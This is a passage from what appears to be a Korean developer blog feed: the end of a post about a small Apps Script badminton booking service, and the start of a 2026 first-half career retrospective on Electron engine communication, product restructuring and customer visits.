<p>현재도 모바일에서 사용할 수 있도록 반응형으로 만들어져 있지만, 실제 사용 패턴을 보면 휴대폰으로 접근하는 경우가 많아서 다음에는 <strong>PWA로 만들어 홈 화면에 설치해서 조금 더 앱처럼 사용할 수 있게 하는 것</strong>도 생각하고 있습니다.</p>
<p>프론트는 지금의 React 구조를 유지하면서 Web App Manifest와 Service Worker를 추가하고, Apps Script는 지금처럼 API 역할을 맡기는 방식입니다.</p>
<p>그러면 사용자는 매번 브라우저에서 주소를 찾아 들어오기보다 홈 화면 아이콘으로 바로 예약 페이지를 열 수 있습니다.</p>
<p>이것도 아직은</p>
<blockquote>
<p>&quot;꼭 해야 한다.&quot;</p>
</blockquote>
<p>보다는</p>
<blockquote>
<p><strong>&quot;이 구조로 어디까지 해볼 수 있을까?&quot;</strong></p>
</blockquote>
<p>에 가까운 실험입니다.</p>
<p>Apps Script 자체를 모바일 앱으로 배포하는 것은 아니지만, 현재 React 웹을 PWA로 만들어 설치 가능한 웹앱 형태로 사용하는 것은 충분히 가능하니 이것도 한 번 해볼 만할 것 같습니다.</p>
<p>그리고 기능이나 회원 수가 지금보다 훨씬 많아지면요?
<img src="https://velog.velcdn.com/images/songyeonji_/post/7f67fc10-0d87-4e47-a7e1-a24e81f1763f/image.png" alt=""></p>
<p>그때는 Apps Script를 끝까지 붙잡기보다는 Firebase 같은 구조로 <strong>가볍게 옮길 생각입니다. 하하.</strong></p>
<hr>
<h2 id="apps-script를-써본-것-자체가-꽤-재미있는-경험이었습니다">Apps Script를 써본 것 자체가 꽤 재미있는 경험이었습니다</h2>
<p>여기까지 보면 제가 Apps Script를 엄청 추천하는 것처럼 보일 수도 있는데,</p>
<p>그렇지는 않습니다.</p>
<p>이번 프로젝트에서 가장 재미있었던 건</p>
<blockquote>
<p><strong>&quot;작은 실제 서비스라면 이런 구조로도 굴려볼 수 있구나.&quot;</strong></p>
</blockquote>
<p>를 직접 경험했다는 점입니다.</p>
<p>평소 같았으면 자연스럽게</p>
<pre><code class="language-text">Frontend
↓
Backend
↓
Database</code></pre>
<p>를 만들었겠지만,</p>
<p>이번에는 Google에서 이미 제공하는 도구들을 조합했습니다.</p>
<pre><code class="language-text">React
↓
Apps Script
↓
Spreadsheet</code></pre>
<p>그리고 그 구조 안에서도</p>
<ul>
<li>API 설계</li>
<li>Validation</li>
<li>Cache</li>
<li>Cache Invalidation</li>
<li>Race Condition</li>
<li>Lock</li>
<li>Polling</li>
<li>재시도 전략</li>
</ul>
<p>같은 문제를 직접 만났습니다.</p>
<p>서비스가 작다고 고민까지 작아지는 건 아니었습니다.</p>
<p>오히려 작은 규모였기 때문에 이런 구조를 부담 없이 실험해볼 수 있었습니다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>처음 시작은 정말 단순했습니다.</p>
<blockquote>
<p>&quot;배드민턴 예약 웹 하나 만들어줄 수 있어?&quot;</p>
</blockquote>
<p>저는</p>
<blockquote>
<p>&quot;응.&quot;</p>
</blockquote>
<p>이라고 했고,</p>
<p><strong>5만 원을 받았습니다.</strong></p>
<p>그리고 지금은 실제 16명의 회원들이 사용하는 예약 서비스가 됐습니다.</p>
<p>처음에는 Apps Script와 Spreadsheet를 사용해서 가볍게 만들어보자는 생각이었는데,</p>
<p>실제로 운영하다 보니 캐시도 넣고, 동시성도 처리하고, API 재시도 전략도 고민하게 됐습니다.</p>
<p>무엇보다 개인 프로젝트에서는 쉽게 경험하기 힘든</p>
<p><strong>내가 만든 서비스를 실제 누군가가 계속 사용한다는 경험</strong></p>
<p>을 할 수 있었습니다.</p>
<p>지금은 모바일 반응형까지 적용돼 실제 예약 페이지로 사용되고 있고,</p>
<p>다음에는 PWA도 한번 붙여볼까 생각하고 있습니다.</p>
<p>그리고 회원이 정말 많이 늘어난다면?</p>
<p>그때는 Firebase로 가볍게 이사할 생각입니다. 하하.</p>
<p>아마 그때는 또 이런 글을 쓰고 있지 않을까요.</p>
<blockquote>
<p><strong>&quot;16명이라 Apps Script 썼는데 진짜 서비스가 되어버렸다 — Firebase 이사기&quot;</strong></p>
</blockquote>
<p>그리고 마지막으로 하나 더 배웠습니다.</p>
<blockquote>
<p><strong>연인에게 외주를 받을 때는 유지보수 기간을 정해두자.</strong></p>
</blockquote>
<p>고객님.</p>
<p>5만 원에 평생 수정은 조금 그렇습니다.</p>
<p>...라고 말하면서 오늘도 수정하고 있습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🌪️ 폭풍전야, 2026 상반기 회고]]></title>
            <link>https://velog.io/@songyeonji_/%ED%8F%AD%ED%92%8D%EC%A0%84%EC%95%BC-2026-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0-464h4rcu</link>
            <guid>https://velog.io/@songyeonji_/%ED%8F%AD%ED%92%8D%EC%A0%84%EC%95%BC-2026-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0-464h4rcu</guid>
            <pubDate>Mon, 27 Jul 2026 14:04:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/9461a5ef-d69d-4c33-9661-70fd7154d80c/image.png" alt=""></p>
<p>안녕하세요. 프론트엔드 개발자 송연지입니다.</p>
<p>뭐가 이렇게 시간이 빠른지, 2026년 상반기가 끝난 지도 벌써 한 달이 다 되어가네요.</p>
<p>스물일곱 살이 된 게 엊그제 같은데요. 이제 시간이 빠르다는 말을 입에 달고 사는 걸 보니 저도 착실하게 늙어가고 있나 봅니다.</p>
<p>예전에는 어른들이 “나이 들면 시간이 더 빨리 간다”고 말하면 그냥 바쁘게 살아서 그런 줄 알았습니다. 그런데 진짜더라고요.
<img src="https://velog.velcdn.com/images/songyeonji_/post/2bdf5509-0fe7-4455-acd3-199ab4da24c0/image.png" alt=""></p>
<p>1월이 시작된 지 얼마 안 된 것 같은데 정신을 차려보니 7월이었고, 상반기 회고를 쓰려고 메모장을 열었더니 8월이 코앞이었습니다.</p>
<p>왜 이렇게 늦게 쓰게 됐냐고요?</p>
<p>저도 알고 싶지 않았어요.</p>
<p>정확히는 7월이 저를 놓아주지 않았습니다.</p>
<p>원래는 상반기가 끝나자마자 멋지게 회고를 올리려고 했습니다. 1월부터 6월까지 배운 점을 차분히 정리하고, 앞으로의 계획까지 적은 다음 “하반기도 열심히 살아보겠습니다”라고 마무리할 생각이었습니다.</p>
<p>그런데 7월에 통합 테스트와 납품 일정이 한꺼번에 시작되면서 회고는커녕 제가 무슨 일을 했는지도 기억하기 어려워졌습니다.</p>
<p>상반기는 지나갔고, 7월은 저를 지나갔습니다.</p>
<p>그래도 더 늦으면 2026년 연말 회고에 상반기 이야기를 섞어 써야 할 것 같아서 이제라도 적어보려고 합니다.</p>
<p>이번 상반기를 한 문장으로 정리하면 이렇습니다.</p>
<blockquote>
<p>화면을 구현하던 프론트엔드 개발자에서, 제품의 구조와 운영까지 고민하는 개발자로 강제 확장된 반년이었습니다.</p>
</blockquote>
<p>제가 자발적으로 영역을 넓혔느냐고요?</p>
<p>일부는 맞습니다.</p>
<p>나머지는 일이 저를 찾아왔습니다.</p>
<p>저는 피하지 않았습니다.</p>
<p>피할 곳이 없었거든요.</p>
<p>그럼 2026년 상반기 회고를 시작해보겠습니다.</p>
<hr>
<h1 id="1월">1월</h1>
<h2 id="별로-한-게-없다고-생각했는데-기반-구조를-다시-만들고-있었습니다">별로 한 게 없다고 생각했는데, 기반 구조를 다시 만들고 있었습니다</h2>
<p>처음 1월을 떠올렸을 때는 별다른 기억이 없었습니다.</p>
<blockquote>
<p>“작년에 개발하던 거 계속 고쳤던 것 같은데?”</p>
</blockquote>
<p>정말 이 정도였습니다.</p>
<p>업무 기록을 다시 보기 전까지는요.</p>
<p>기록을 살펴보니 1월에는 별일이 없었던 게 아니라, 너무 많은 일이 동시에 진행되어서 기억이 하나로 뭉쳐 있었습니다.</p>
<p>작년에 만들던 기능을 수정하는 동시에 제품 구조와 시스템을 다시 설계하고 있었습니다. 여기에 보안 인증 시험 일정까지 겹치면서 새로운 기능을 빠르게 분석하고 구현해야 했습니다.</p>
<p>새로운 기술이 들어왔지만, 기존 제품 구조는 그 기술을 자연스럽게 받아들일 준비가 되어 있지 않았습니다.</p>
<p>그렇다면 어떻게 해야 할까요?</p>
<p>구조부터 다시 봐야 합니다.</p>
<p>당시에는 이 답을 몰랐습니다.</p>
<p>그래서 처음에는 일단 기능부터 붙이려고 했습니다. 기존 코드에 새로운 기능을 연결하고, 화면에 버튼을 만들고, 엔진에서 값을 받아오면 끝날 줄 알았습니다.</p>
<p>끝나지 않더라고요 ㅎㅎ</p>
<p>왜냐고요?
<img src="https://velog.velcdn.com/images/songyeonji_/post/8a0d30dc-c581-47da-b4f2-070379744eaa/image.png" alt=""></p>
<p>저도 알고 싶지 않았어요.</p>
<p>버튼 하나를 추가하면 Electron 메인 프로세스와의 연결이 필요했고, 메인 프로세스에서는 다시 보안 엔진으로 요청을 전달해야 했습니다. 엔진에서 응답을 받으면 그 값을 다시 화면까지 보내야 했습니다.</p>
<p>화면에서는 버튼 하나였는데, 버튼 뒤에는 등장인물이 너무 많았습니다.</p>
<p>프론트엔드, Electron 메인 프로세스, IPC, 로컬 엔진, 서버가 각자의 방식으로 움직이고 있었습니다.</p>
<p>누구 하나라도 기분이 좋지 않으면 기능이 동작하지 않았습니다.</p>
<p>특히 매체 제어 기능을 연결하면서 엔진 통신을 본격적으로 다루기 시작했습니다.</p>
<p>엔진이 문제인가 싶어서 로그를 요청했습니다.</p>
<p>로그에는 정상이라고 적혀 있었습니다.</p>
<p>모두가 정상이라고 하는데 제품만 꺼지고 있었습니다.</p>
<p>이런 상황이 개발자를 가장 힘들게 합니다.</p>
<p>누군가 명확하게 실패하면 그 부분을 고치면 됩니다. 그런데 각 영역에서는 정상이라고 말하면서 전체 제품만 실패하면 어디서부터 봐야 할지 알기 어렵습니다.</p>
<p>결국 화면에서 엔진까지 요청이 이동하는 경로를 처음부터 하나씩 확인하기 시작했습니다.</p>
<p>사용자가 버튼을 눌렀는지, 렌더러 프로세스에서 이벤트가 발생했는지, IPC를 통해 메인 프로세스까지 전달됐는지 확인했습니다.</p>
<p>엔진에 전달하는 데이터가 올바른지, 엔진 프로세스가 실행 중인지, 요청과 응답의 ID가 일치하는지, 제한 시간 안에 응답이 돌아왔는지도 모두 확인해야 했습니다.</p>
<p>이때부터 제가 보는 로그의 분위기도 달라졌습니다.</p>
<p>예전에는 이런 로그를 봤습니다.</p>
<pre><code class="language-text">선택된 값: true
API 요청 성공
화면 렌더링 완료</code></pre>
<p>평화롭습니다.</p>
<p>1월부터는 이런 로그를 보기 시작했습니다.</p>
<pre><code class="language-text">Pipe connection failed
Request timeout
Engine process terminated
Unknown response ID</code></pre>
<p>문장에 살기가 있습니다.</p>
<p><code>화면 렌더링 완료</code>는 저를 안심시키는데, <code>Engine process terminated</code>는 저에게 새로운 하루를 선물합니다.</p>
<h3 id="시제품을-제품으로-바꾸려면-구조부터-달라져야-했습니다">시제품을 제품으로 바꾸려면 구조부터 달라져야 했습니다</h3>
<p>기능을 하나씩 연결할수록 기존 구조의 한계도 보이기 시작했습니다.</p>
<p>당시 구조는 시제품을 빠르게 만드는 데에는 문제가 없었습니다. 기능을 구현하고 내부에서 실행해보는 수준에서는 충분히 동작했습니다.</p>
<p>하지만 보안 인증 시험과 실제 납품을 생각하자 이야기가 달라졌습니다.</p>
<p>시제품은 특정 환경에서 한 번 잘 동작하면 됩니다.</p>
<p>제품은 사용자가 매일 사용해도 계속 잘 동작해야 합니다.</p>
<p>시제품은 오류가 발생하면 옆에 있는 개발자가 설명할 수 있습니다.</p>
<p>제품은 오류가 발생하면 사용자가 혼자 상황을 이해해야 합니다.</p>
<p>시제품은 개발자가 직접 실행해줄 수 있습니다.</p>
<p>제품은 사용자가 직접 설치하고 실행해야 합니다.</p>
<p>생각해야 할 범위가 갑자기 넓어졌습니다.</p>
<p>처음에는 기존 구조에서 필요한 부분만 고치면 될 줄 알았습니다. 그런데 기능 하나를 수정하면 다른 기능이 영향을 받고, 그 부분을 고치면 다시 다른 곳에서 문제가 생겼습니다.</p>
<p>소프트웨어 구조가 서로 손을 잡고 있는 정도가 아니었습니다.</p>
<p>팔짱을 끼고 있었습니다.</p>
<p>하나를 움직이면 모두가 같이 움직였습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/5e8fb4f2-2fd3-4954-8f8b-0e91c91d9fec/image.png" alt=""></p>
<p>결국 1월에는 눈에 보이는 기능을 만드는 것보다 제품 구조와 시스템 흐름을 다시 정리하는 데 더 많은 시간을 사용했습니다.</p>
<p>서버에서 관리할 데이터와 로컬에서 관리할 데이터를 나누고, 화면과 엔진 사이의 책임도 정리했습니다. 요청과 응답을 어떻게 연결할지, 통신이 실패하면 어떤 방식으로 처리할지도 고민했습니다.</p>
<p>이 작업은 생각보다 성취감이 적었습니다.</p>
<p>화면을 새로 만들면 캡처라도 남길 수 있습니다.</p>
<p>버튼을 추가하면 직접 눌러볼 수도 있습니다.</p>
<p>그런데 구조를 정리하는 일은 며칠 동안 고민해도 화면이 전날과 똑같아 보입니다.</p>
<p>그래서 퇴근할 때마다 생각했습니다.</p>
<blockquote>
<p>“나 오늘 뭐 했지?”</p>
</blockquote>
<p>분명 하루 종일 일했는데 보여줄 수 있는 것이 없었습니다.</p>
<p>하지만 지금 돌아보면 1월에 구조를 다시 보지 않았다면 이후 기능을 추가할 때 훨씬 더 힘들었을 것 같습니다.</p>
<p>당시에는 진도가 나가지 않는다고 느꼈지만, 사실은 앞으로 나아가기 전에 바닥을 다시 다지고 있었습니다.</p>
<p>1월에 배운 것은 화려한 프론트엔드 기술이 아니었습니다.</p>
<blockquote>
<p>화면 뒤의 흐름을 이해하지 못하면 결국 화면도 제대로 만들 수 없다.</p>
</blockquote>
<p>프론트엔드 개발자라고 해서 브라우저와 컴포넌트만 볼 수는 없었습니다.</p>
<p>사용자가 보고 있는 상태가 어디에서 만들어지고, 어떤 경로를 거쳐 화면까지 전달되는지 알아야 제대로 된 사용자 경험을 만들 수 있었습니다.</p>
<p>그리고 새해 첫 달부터 생각했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/a392a1e6-3d31-4fbd-96d5-66278e91ed93/image.png" alt=""></p>
<blockquote>
<p>“올해 쉽지 않겠는데?”</p>
</blockquote>
<p>예상은 정확했습니다.</p>
<hr>
<h1 id="2월">2월</h1>
<h2 id="개발은-트레이드오프라는데-포기할-수-있는-게-없었습니다">개발은 트레이드오프라는데, 포기할 수 있는 게 없었습니다</h2>
<h3 id="납품-일정이-다가오자-구조를-다시-보게-됐습니다">납품 일정이 다가오자 구조를 다시 보게 됐습니다</h3>
<p>2월에도 1월에 시작한 개발을 이어갔습니다.</p>
<p>보안 인증 시험을 위해 추가한 기능을 다듬고, 엔진 통신을 안정화하면서 제품 구조도 조금씩 정리했습니다.</p>
<p>개발자의 행복 기준은 상황에 따라 낮아질 수 있습니다.</p>
<p>세 번 실행했을 때 한 번 성공하던 기능이 두 번 성공하면 발전입니다.</p>
<p>당시에는 정말 그 정도의 변화에도 안도했습니다.</p>
<p>그러던 중 납품 일정이 점점 가까워지기 시작했습니다.</p>
<p>시험을 위해 빠르게 만든 기능은 있었지만, 실제 사용자가 매일 사용하는 제품으로 보기에는 부족한 부분이 많았습니다.</p>
<p>내부에서는 개발자가 직접 프로그램을 실행하고, 문제가 생기면 바로 로그를 확인할 수 있습니다. 하지만 제품이 고객사에 전달된 뒤에는 개발자가 항상 옆에 있을 수 없습니다.</p>
<p>설치부터 사용, 오류 대응, 업데이트까지 모두 사용자가 직접 경험하게 됩니다.</p>
<p>이제는 기능이 단순히 ‘존재하는 것’만으로는 부족했습니다.</p>
<p>사용자가 기능을 발견할 수 있어야 했고, 현재 상태를 이해할 수 있어야 했으며, 문제가 생겼을 때 다음에 무엇을 해야 하는지도 알 수 있어야 했습니다.</p>
<p>결국 기존 일정을 일부 조정하고 제품 구조부터 다시 보기로 했습니다.</p>
<p>일정을 바꾸는 결정은 쉽지 않았습니다.</p>
<p>마감일은 이미 정해져 있었고 해야 할 일도 많았습니다. 구조를 다시 설계하는 동안에는 눈에 보이는 기능 개발이 느려질 수밖에 없었습니다.</p>
<p>하지만 기존 구조 위에 기능을 계속 쌓으면 당장은 빨라 보여도, 나중에는 더 큰 비용을 치르게 될 것 같았습니다.</p>
<p>개발은 트레이드오프라는 말을 많이 듣습니다.</p>
<p>속도를 선택하면 구조를 어느 정도 포기해야 하고, 안정성을 높이면 개발 시간이 길어집니다. 단순한 구조를 선택하면 확장성이 줄어들고, 확장성을 고려하면 초기 구현이 복잡해집니다.</p>
<p>저도 그렇게 알고 있었습니다.</p>
<p>그런데 실제 제품을 개발해보니 포기할 수 있는 것이 생각보다 많지 않았습니다.</p>
<p>빠르게 만들어야 하지만 안정적으로 동작해야 했습니다.</p>
<p>보안은 강해야 하지만 사용하기 쉬워야 했습니다.</p>
<p>기능은 많아져도 화면은 복잡해지지 않아야 했습니다.</p>
<p>서버 상태가 불안정해도 프로그램이 바로 무너져서는 안 됐고, 그렇다고 사용자에게 잘못된 상태를 보여줄 수도 없었습니다.</p>
<p>엔진의 응답을 기다려야 했지만 사용자를 무한 로딩 화면에 가둬둘 수도 없었습니다.</p>
<p>속도, 안정성, 보안, 사용성 중 무엇을 포기해야 할까요?
<img src="https://velog.velcdn.com/images/songyeonji_/post/e6f770c3-ceaf-414a-9779-7fbb18447338/image.png" alt=""></p>
<p>아무것도 쉽게 포기할 수 없었습니다.</p>
<p>고객에게는 모두 필요한 조건이었기 때문입니다.</p>
<p>물론 모든 조건을 완벽하게 만족하는 구조는 없습니다. 결국 우선순위를 정하고 선택해야 합니다.</p>
<p>다만 지금 빠르게 구현하기 위해 내린 선택이 이후 어떤 문제와 비용으로 돌아올지는 미리 생각해야 했습니다.</p>
<p>2월에는 코드를 작성하는 시간만큼, 이런 선택의 기준을 고민하는 데 많은 시간을 사용했습니다.</p>
<hr>
<h3 id="코드를-짜기-전에-기준부터-만들어야-했습니다">코드를 짜기 전에 기준부터 만들어야 했습니다</h3>
<p>제품 구조를 다시 살펴보면서 운영 방식도 함께 정리해야 했습니다.</p>
<p>기능이 어떤 범위에 적용되는지, 서로 다른 설정이 겹쳤을 때 무엇을 우선할지, 사용자마다 다른 환경과 예외 상황을 어떻게 처리할지 기준이 필요했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/9b3689b3-d57a-4f71-8376-c8869714e5b5/image.jpeg" alt=""></p>
<p>화면을 만들려고 했는데 먼저 제품이 어떻게 동작해야 하는지를 정해야 했습니다.</p>
<p>버튼을 추가하려고 했는데 그 버튼이 어떤 상황에서 보여야 하는지부터 결정해야 했습니다.</p>
<p>상태를 표시하려고 했는데 어떤 조건을 정상으로 보고, 어떤 조건을 예외로 처리할지도 정리해야 했습니다.</p>
<p>개발을 시작하려고 할수록 기획 문서가 계속 늘어났습니다.</p>
<p>이때 과거의 제가 했던 생각을 반성했습니다.</p>
<blockquote>
<p>“요구사항만 잘 정리하면 되는 거 아닌가?”</p>
</blockquote>
<p>아니었습니다.</p>
<p>요구사항을 잘 정리하는 일이 가장 어려웠습니다.</p>
<p>사용자가 “조금 더 쉽게 사용할 수 있게 해주세요”라고 말하면, 개발자는 처음에는 화면이나 버튼을 하나 바꾸면 될 것 같다고 생각합니다.</p>
<p>하지만 실제로는 수많은 질문이 따라왔습니다.</p>
<p>어떤 상황에서 필요한 기능인지, 기존 방식과 무엇이 달라져야 하는지, 예외 상황에서는 어떻게 동작해야 하는지, 변경된 결과를 어디까지 유지해야 하는지 모두 결정해야 했습니다.</p>
<p>짧은 요구사항 하나가 새로운 기능 하나로 끝나는 것이 아니라, 새로운 흐름과 예외 상황을 함께 만들었습니다.</p>
<p>기획자가 하는 일은 단순히 화면을 그리는 것이 아니었습니다.</p>
<p>애매한 상황마다 기준을 만들고, 서로 충돌하는 요구사항 사이에서 우선순위를 정하는 일이었습니다.</p>
<p>코드는 잘못되면 오류라도 발생합니다.</p>
<p>정책과 흐름은 잘못 설계돼도 정상적으로 동작할 수 있습니다.</p>
<p>다만 사용자가 계속 불편할 뿐입니다.</p>
<p>오히려 더 무서운 문제였습니다.</p>
<p>2월에는 개발보다 제품의 시스템과 운영 흐름을 고민한 시간이 더 많았습니다.</p>
<p>회의를 하면 해야 할 일이 정리될 줄 알았습니다.</p>
<p>그런데 회의를 할수록 할 일이 늘어났습니다.</p>
<p>회의 전에는 기능 하나였는데, 회의가 끝나면 정상 상황과 실패 상황, 사용자 화면과 관리 화면, 기록과 예외 처리까지 여러 갈래로 나뉘어 있었습니다.</p>
<p>회의는 업무를 줄이는 자리가 아니었습니다.</p>
<p>그동안 보이지 않던 업무를 발견하는 자리였습니다.</p>
<p>이때 다시 한번 배웠습니다.</p>
<blockquote>
<p>기획자를 쉽게 본 개발자의 최후는 직접 기획을 하게 되는 것입니다.</p>
</blockquote>
<p>2월 말쯤에는 제품이 어떤 흐름으로 동작하고 운영되어야 하는지 조금씩 보이기 시작했습니다.</p>
<p>그리고 전체 흐름이 보이자 앞으로 해야 할 일도 함께 보였습니다.</p>
<p>모를 때가 조금 더 행복했습니다.</p>
<p>범위를 파악하니 무서워졌습니다.</p>
<hr>
<h1 id="3월">3월</h1>
<h2 id="p2p가-대체-뭔데요">P2P가 대체 뭔데요?</h2>
<h3 id="프론트엔드도-통신-구조를-알아야-했습니다">프론트엔드도 통신 구조를 알아야 했습니다</h3>
<p>3월부터는 P2P와 서버 통신 구조를 본격적으로 공부하기 시작했습니다.</p>
<p>처음 P2P라는 단어를 들었을 때는 알고 있다고 생각했습니다.</p>
<p>Peer to Peer.</p>
<p>기기나 사용자가 서로 연결되는 방식.</p>
<p>여기까지는 알고 있었습니다.</p>
<p>하지만 “우리 제품에서는 정확히 어떻게 동작하는데요?”라는 질문에는 대답할 수 없었습니다.</p>
<p>그래서 공부를 시작했습니다.</p>
<p>WebSocket과 SSE를 사용해본 경험은 있었지만, 여러 PC와 서버, 관리자 페이지, 로컬 엔진이 동시에 상태를 주고받는 구조는 생각보다 훨씬 복잡했습니다.</p>
<p>누가 연결을 시작해야 하는지, 연결이 끊기면 어느 쪽에서 복구해야 하는지, 사용자가 오프라인일 때 발생한 요청을 어떻게 처리할지 정해야 했습니다.</p>
<p>서버의 상태와 로컬의 상태가 다를 때 어느 쪽을 기준으로 화면을 보여줄지도 고민해야 했습니다.</p>
<p>처음에는 생각했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/0c09e9af-b164-407c-9b04-8f6f078a3bb3/image.png" alt=""></p>
<pre><code>“P2P가 대체 뭐야?”

조금 공부한 뒤에는 생각했습니다.

“이걸 왜 프론트엔드가 알아야 하지?”

조금 더 공부한 뒤에는 알게 됐습니다.

프론트엔드도 알아야 하더라고요.

결국 사용자는 모든 결과를 화면에서 보기 때문입니다.</code></pre><p>사용자가 보고 있는 연결 상태가 정확하려면 실제 통신 구조를 이해해야 했습니다. 연결이 끊겼을 때 어떤 기능을 제한하고 어떤 기능은 계속 사용할 수 있게 할지도 시스템의 상태를 알아야 결정할 수 있었습니다.</p>
<p>서버에서는 정상적으로 처리됐더라도 로컬 환경에 반영되지 않았다면 사용자 입장에서는 실패였습니다.</p>
<p>반대로 내부적으로는 처리가 완료됐어도 화면에 결과가 나타나지 않으면 사용자는 아무 일도 일어나지 않았다고 느낄 수 있었습니다.</p>
<p>이때 서버의 성공과 사용자의 성공은 다를 수 있다는 것을 많이 배웠습니다.</p>
<p>3월부터는 서버 개발자분과도 이야기를 자주 나눴습니다.</p>
<p>그러던 중 예상하지 못한 사실도 알게 됐습니다.</p>
<p>서버 개발자분의 지인 중 제 벨로그를 읽고 계신 분이 있다는 것이었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/43c74a8f-33fe-490d-9d44-407d94ac2c1a/image.png" alt=""></p>
<p>회사에 벨로그를 들켰습니다.</p>
<p>사실 숨긴 적은 없습니다.</p>
<p>그렇다고 보여드린 적도 없습니다.</p>
<p>공개된 블로그이니 누구나 볼 수 있지만, 실제로 아는 사람이 읽고 있다는 사실을 알게 되니 느낌이 완전히 달라졌습니다.</p>
<p>그전까지는 개발 중 겪었던 오류와 해결 과정을 비교적 편하게 적었습니다. 회사나 제품을 특정할 수 있는 내용은 제외하고, 제가 어떤 문제를 만났고 어떻게 해결했는지를 중심으로 기록했습니다.</p>
<p>하지만 회사 사람이 볼 수 있다고 생각하니 문장 하나하나가 신경 쓰이기 시작했습니다.</p>
<pre><code>“이거 너무 힘들어 보이나?”

“회사에 대한 불만처럼 읽히지는 않을까?”

“이 내용을 보면 내부 구조를 유추할 수 있지 않을까?”</code></pre><p>글을 쓰다가 지우기도 하고, 제목을 바꾸기도 했습니다. 작성해놓고 올리지 않은 글도 생겼습니다.</p>
<p>벨로그를 들킨 뒤 잠깐 주춤했습니다.</p>
<p>그래도 나쁜 일만 있었던 것은 아닙니다.</p>
<p>벨로그 이야기를 계기로 서버 개발자분과 더 편하게 대화하게 됐고, 서로 어떤 방식으로 공부하고 문제를 해결하는지도 나눌 수 있었습니다.</p>
<p>기술적인 협업뿐 아니라 개발자로서 어떤 고민을 하고 있는지도 자연스럽게 이야기하게 됐습니다.</p>
<hr>
<h3 id="화면-몇-개가-아니라-운영-생태계를-만들고-있었습니다">화면 몇 개가 아니라 운영 생태계를 만들고 있었습니다</h3>
<p>3월에는 제품의 운영 프로세스도 본격적으로 설계하기 시작했습니다.</p>
<p>이전까지는 시제품에 가까웠습니다.</p>
<p>필요한 기능을 구현하고, 내부 환경에서 실행해본 뒤, 시연까지 무사히 끝나면 어느 정도 목표를 달성한 셈이었습니다.</p>
<p>하지만 제품을 실제로 판매하고 운영하려고 하니 전혀 다른 세계가 열렸습니다.</p>
<p>먼저 고객이 제품을 확인하고 구매할 수 있는 페이지가 필요했습니다.</p>
<p>구매 이후에는 고객사가 제품을 설정하고 사용 현황을 확인할 수 있는 관리자 페이지가 필요했습니다. 사용자가 외부에서도 필요한 정보를 확인할 수 있도록 모바일 서비스도 연결해야 했습니다.</p>
<p>여기에 여러 고객사와 전체 서비스 상태를 관리하는 별도의 서비스 관리자 페이지까지 필요했습니다.</p>
<p>처음에는 기존 제품에 화면 몇 개만 추가하면 될 줄 알았습니다.</p>
<p>구매 화면 하나.</p>
<p>관리 화면 몇 개.</p>
<p>모바일 화면 조금.</p>
<p>정말 그 정도로 생각했습니다.</p>
<p>하지만 운영 흐름을 하나씩 정리해보니 구매 페이지, 고객사 관리자 페이지, 모바일 서비스, 서비스 관리자 페이지가 각각 필요했습니다.</p>
<p>화면 몇 개를 추가하는 수준이 아니었습니다.</p>
<p>제품을 하나 더 만드는 것도 아니었습니다.</p>
<p>하나의 제품이 실제로 판매되고, 설치되고, 사용되고, 관리되기 위해 필요한 전체 생태계를 만들고 있었습니다.</p>
<p>더 어려운 점은 각각의 서비스가 따로 움직이면 안 된다는 것이었습니다.</p>
<p>구매 페이지에서 만들어진 정보는 고객사 관리자 페이지와 연결되어야 했고, 고객사가 변경한 설정은 실제 제품에도 반영되어야 했습니다.</p>
<p>모바일 서비스와 서비스 관리자 페이지 역시 서로 다른 데이터를 바라보면 안 됐습니다.</p>
<p>서비스는 여러 개였지만, 데이터와 흐름은 하나로 이어져야 했습니다.</p>
<p>겉으로 보면 서로 다른 화면과 서비스였지만, 사용자에게는 결국 하나의 제품이었습니다.</p>
<p>이쯤 되니 개발 범위가 우후죽순으로 늘어난 이유도 이해할 수 있었습니다.</p>
<p>기능 하나를 추가하는 것이 아니라, 제품이 실제로 굴러가기 위해 필요한 앞뒤 과정을 전부 만들고 있었기 때문입니다.</p>
<p>처음에는 기능만 완성하면 제품이 되는 줄 알았습니다.</p>
<p>하지만 실제 운영에서는 구매 이후의 과정, 처음 사용하는 사람의 흐름, 고객사가 제품을 관리하는 방식, 전체 서비스를 운영하는 방식까지 함께 설계해야 했습니다.</p>
<p>화면을 만드는 것보다 화면과 화면 사이의 관계를 정하는 일이 더 어려웠습니다.</p>
<p>그때 생각했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/43cea6cd-1069-476d-b8b1-fd035fa2c88d/image.png" alt=""></p>
<blockquote>
<p>“설마 이걸 제가 다 개발하는 건 아니겠지?”</p>
</blockquote>
<p>물론 모든 코드를 혼자 작성한 것은 아니었습니다.</p>
<p>다만 시간이 지날수록 예상했던 것보다 훨씬 많은 영역이 제 업무 범위 안으로 들어오고 있었습니다.</p>
<p>3월의 저는 아직 그 사실을 정확히 모르고 있었습니다.</p>
<p>모를 때가 조금 더 평화로웠습니다.</p>
<hr>
<h1 id="4월">4월</h1>
<h2 id="개발실-밖으로-나가니-제품이-다르게-보였습니다">개발실 밖으로 나가니 제품이 다르게 보였습니다</h2>
<h3 id="개발-환경에서-잘되는-것만으로는-부족했습니다">개발 환경에서 잘되는 것만으로는 부족했습니다</h3>
<p>4월에는 납품 예정인 고객사를 직접 방문했습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/6406a03a-8b54-43c8-966e-6275e5997360/image.png" alt=""></p>
<p>실제 사용 환경을 점검하고, 제품을 사용할 분들의 요구사항을 직접 들었습니다.</p>
<p>개발실에서는 대부분의 조건이 개발자에게 유리하게 맞춰져 있습니다.</p>
<p>네트워크는 비교적 안정적이고, 필요한 권한도 있으며, 문제가 발생하면 바로 개발자 도구와 로그를 열어볼 수 있습니다.</p>
<p>설치 과정에서 오류가 발생해도 원인을 확인할 수 있고, 설정이 잘못됐다면 바로 수정할 수도 있습니다.</p>
<p>하지만 고객사의 환경은 달랐습니다.</p>
